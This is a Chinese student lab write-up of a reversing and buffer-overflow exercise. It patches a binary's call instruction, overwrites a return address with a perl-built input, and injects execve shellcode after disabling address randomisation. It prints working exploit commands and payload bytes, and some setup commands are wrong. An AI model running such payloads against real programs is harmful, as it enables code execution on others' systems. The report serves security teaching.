20155332《网络对抗》Exp1 逆向与bof基础

1.实验目的

本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

2.实验内容

三个实践内容如下:

  • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
  • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
  • 注入一个自己制作的shellcode并运行这段shellcode。

这几种思路,基本代表现实情况中的攻击目标:

  • 运行原本不可访问的代码片段
  • 强行修改程序执行流
  • 以及注入运行任意代码。

3.准备工作

3.1安装更新

系统升级实际上是一个软件包的删除与重装过程,在更新的过程中,apt-get会自动删除旧的软件包,以此在系统升级时务必更新软件包的索引文件.

在升级系统升级过程中,原有的系统内核软件会保留在系统中,以便系统升级过程中在使用新的系统内核引导系统出现异常时,使得我们能使用旧的内核继续引导系统。

  • 1、更新软件包索引文件

sudo apt-get install update

  • 2、更新系统

sudo apt-get update

  • 3.安装更新。

sudo apt-get upgrade

3.2.安装32位运行库

  • 1.解决资源不可用问题

无法获得锁 /var/lib/dpkg/lock - open (11: 资源暂时不可用)

无法锁定管理目录(/var/lib/dpkg/),是否有其他进程正占用它?

输入命令

  1. sudo rm /var/cache/apt/archives/lock
  2. sudo rm /var/lib/dpkg/lock
  • 2.下载lib32ncurses5库

apt-get install lib32ncurses5

  • 3.运行程序

./pwn20155332

4实验过程

4.1直接修改程序机器指令,改变程序执行流程

4.1.1 指导思想

我们通过修改main函数中的call指令,使得原本执行foo函数的程序转而去执行getShell函数。

分为两步:

  • 第一,通过反汇编,找到getshell函数的位置;
  • 第二,修改main函数里面call指令的参数,把foo函数的地址改为getshell函数,从而让程序调用getshell函数

4.1.2 具体实践

1.反汇编可执行 文件pwn20155332,输入指令objdump -d pwn20155332

2.分析代码

我们发现,在main函数中,按照正常流程,call指令会调用foo函数,e8是call指令的机器码,后面跟着四字节的偏移量ff ff ff d7(小端序,补码)。这里的偏移量是怎么求的呢?

call指令在执行时,会EIP当前的值,也就是下一条指令的地址——0x080484ba压栈,然后修改寄存器EIP,EIP+偏移量= 0x080484b + 0xffffffd7 = 0x08048491(32位的有符号数运算),将EIP指向foo函数的起始地址。

我们需要修改call指令的偏移量,根据“目的地址=EIP(call的下一条指令的地址)+偏移量”,新的偏移量 = 0x0804847d(getShell函数的起始地址) - 0x080484ba = 0xffffffc3(补码运算)

3.修改程序

接着用十六进制编辑器,或者vim来修改目标程序即可。这里使用vim,输入:%!xxd进入十六进制模式,修改偏移量,把e8d7改为e8c3即可。

4.验证结果

objdump -d pwn20155332

  1. 080484af <main>:
  2. 80484af: 55 push %ebp
  3. 80484b0: 89 e5 mov %esp,%ebp
  4. 80484b2: 83 e4 f0 and $0xfffffff0,%esp
  5. 80484b5: e8 c3 ff ff ff call 804847d <getShell>
  6. 80484ba: b8 00 00 00 00 mov $0x0,%eax
  7. 80484bf: c9 leave
  8. 80484c0: c3 ret
  9. 80484c1: 66 90 xchg %ax,%ax
  10. 80484c3: 66 90 xchg %ax,%ax
  11. 80484c5: 66 90 xchg %ax,%ax
  12. 80484c7: 66 90 xchg %ax,%ax
  13. 80484c9: 66 90 xchg %ax,%ax
  14. 80484cb: 66 90 xchg %ax,%ax
  15. 80484cd: 66 90 xchg %ax,%ax
  16. 80484cf: 90 nop

我们发现5行80484b5: e8 c3 ff ff ff call 804847d <getShell>和原来调用的函数不一样了。执行后结果也不一样了。

4.2通过构造输入参数,造成BOF攻击,改变程序执行流程

4.1.1 指导思想

1.输入足够长的一个字符串,用来确定新地址在字符串中的位置

2.计算新地址的值,并用这个值覆盖旧地址。

4.1.2 具体实现

  • 1.运行程序

./pwn20155332

  • 2.用gdb工具调试

  • 3.构造输入字符串

perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

  • 4.然后将input的输入,通过管道符“|”,作为pwn20155332的输入。

(cat input; cat) | ./pwn1

  • 5.可以发现此时已经获取shell权限。

5.注入Shellcode并执行

  • 1.修改设置
  1. execstack -s pwn1 //设置堆栈可执行
  2. execstack -q pwn1 //查询文件的堆栈是否可执行
  3. echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
  4. more /proc/sys/kernel/randomize_va_space //确认已经关闭

  • 2.构造要注入的payload。
  1. (printf "%032x"; printf "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00") > input_shellcode,把这段字符串先存到文本文件input_shellcode中。

  • 3.进入gdb调试,确定覆盖RET地址的值

  • 4.在foo函数的RET设置断点

  • 5.运行程序,在断点处暂停,查看栈的情况

(cat input_shellcode;cat) | ./pwn1

打开二号终端

  • 4.找到pwn20155332的进程号
  1. ps -ef | grep 20155332 //找到pwn20155332的进程号是:2600
  • 5.进入gdb调试

attach 2600

disassemble foo

break *0x080484ae

  • 6 修改地址

    NOP垫的开始地址是0xffffd2fc,修改\x4\x3\x2\x1\x00\xd3\xff\xff
  • 7攻击

    输入(cat RNS; cat) | ./20155332,在按下回车键:

进入了shell终端,实验成功。

Exp1 逆向与bof基础的更多相关文章

  1. 20165310 NstSec2019 Week3 Exp1 逆向与Bof基础

    20165310 NstSec2019 Week3 Exp1 逆向与Bof基础 一.实验内容 实验目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用fo ...

  2. 20165218 《网络对抗技术》Exp1 逆向及Bof基础

    Exp1 逆向及Bof基础 基础知识 1. NOP, JNE, JE, JMP, CMP汇编指令的机器码 指令 机器码 NOP NOP指令即"空指令",在x86的CPU中机器码为0 ...

  3. 20165101刘天野 2018-2019-2《网络对抗技术》Exp1 逆向与Bof基础

    20165101刘天野 2018-2019-2<网络对抗技术>Exp1 逆向与Bof基础 1. 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执 ...

  4. 20145236《网络对抗》Exp1 逆向及Bof基础

    20145236<网络对抗>Exp 1逆向及Bof基础 一.实践目标 运行原本不可访问的代码片段 强行修改程序执行流 以及注入运行任意代码. 二.基础知识及实践准备 理解EIP寄存器及其功 ...

  5. 2018-2019-2 20165114《网络对抗技术》Exp1 逆向与Bof基础

    逆向及Bof基础实践 目录 一.实践目标 二.实验操作和步骤 1.直接修改程序机器指令 2.通过构造输入参数,造成BOF攻击. 3.注入Shellcode并执行 三.实验总结 四.实验遇到的错误和问题 ...

  6. 20155306 白皎 《网络攻防》Exp1 PC平台逆向破解——逆向与Bof基础

    20155306 白皎 <网络攻防>Exp1 PC平台逆向破解--逆向与Bof基础 实践相关说明 1.1 实践目标 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数. ...

  7. 2017-2018-2 20155229《网络对抗技术》Exp1:逆向及Bof基础实践

    逆向及Bof基础实践 实践基础知识 管道命令: 能够将一个命令的执行结果经过筛选,只保留需要的信息. cut:选取指定列. 按指定字符分隔:只显示第n 列的数据 cut -d '分隔符' -f n 选 ...

  8. 逆向与Bof基础

    一逆向及Bof基础实践说明 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串. 该程序同时包含 ...

  9. 20145237 实验一 逆向与Bof基础

    20145237 实验一 逆向与Bof基础 1.直接修改程序机器指令,改变程序执行流程 此次实验是下载老师传给我们的一个名为pwn1的文件. 首先,用 objdump -d pwn1 对pwn1进行反 ...

随机推荐

  1. [Java][读书笔记]多线程编程

    前言:最近复习java,发现一本很好的资料,<J​a​v​a​2​参​考​大​全​ ​(​第​五​版​)​> ​ ​H​e​r​b​e​r​t​.Schildt.书比较老了,06年的,一些 ...

  2. Bootstrap源码分析系列之初始化和依赖项

    在上一节中我们介绍了Bootstrap整体架构,本节我们将介绍Bootstrap框架第二部分初始化及依赖项,这部分内容位于源码的第8~885行,打开源码这部分内容似乎也不是很难理解.但是请站在一个开发 ...

  3. 【SPL标准库专题(7)】 Datastructures:SplHeap & SplMaxHeap & SplMinHeap

    堆(Heap)就是为了实现优先队列而设计的一种数据结构,它是通过构造二叉堆(二叉树的一种)实现.根节点最大的堆叫做最大堆或大根堆,根节点最小的堆叫做最小堆或小根堆.二叉堆还常用于排序(堆排序). 类摘 ...

  4. leveldb源码分析--SSTable之逻辑结构

    SSTable是leveldb 的核心模块,这也是其称为leveldb的原因,leveldb正是通过将数据分为不同level的数据分为对应的不同的数据文件存储到磁盘之中的.为了理解其机制,我们首先看看 ...

  5. Android的.so文件、ABI和CPU的关系

    Android的.so文件.ABI和CPU的关系有篇文章描述的很详细了 见 http://blog.csdn.net/xx326664162/article/details/51163905

  6. systemd 之 journalctl

    Systemd 日志系统 一.前言 昨天写了一篇文章,内容为:Systemd 常规操作与彩蛋,参考了 ArchLinux 官方文档并结合培训中的思路进行了部分修改补充.如果你懂得了基础的管理,那必然还 ...

  7. mysql INSERT的几个语法 IGNORE|REPLACE|LOW_PRIORITY | DELAYED

    INSERT IGNORE 与INSERT INTO的区别就是INSERT IGNORE会忽略数据库中已经存在 的数据,如果数据库没有数据,就插入新的数据,如果有数据的话就跳过这条数据.这样就可以保留 ...

  8. replace 用法

    orcl中replace()用法: replace:(字符串 | 列):进行替换: 将bqh1表中name列带“小”的字改成“大”: select * from bqh1select a.*,repl ...

  9. python基础学习14----正则表达式

    正则表达式是对字符串操作的一种逻辑公式,就是用事先定义好的一些特定字符.及这些特定字符的组合,组成一个“规则字符串”,这个“规则字符串”用来表达对字符串的一种过滤逻辑. 在python中正则表达式被封 ...

  10. wing ide 6.0 注册

    1.wing ide介绍 wing ide ,用过python的都知道是干嘛用的了吧,官网已经更新到6.0.0-1版本. 链接如下: Wing IDE Professional - Version 6 ...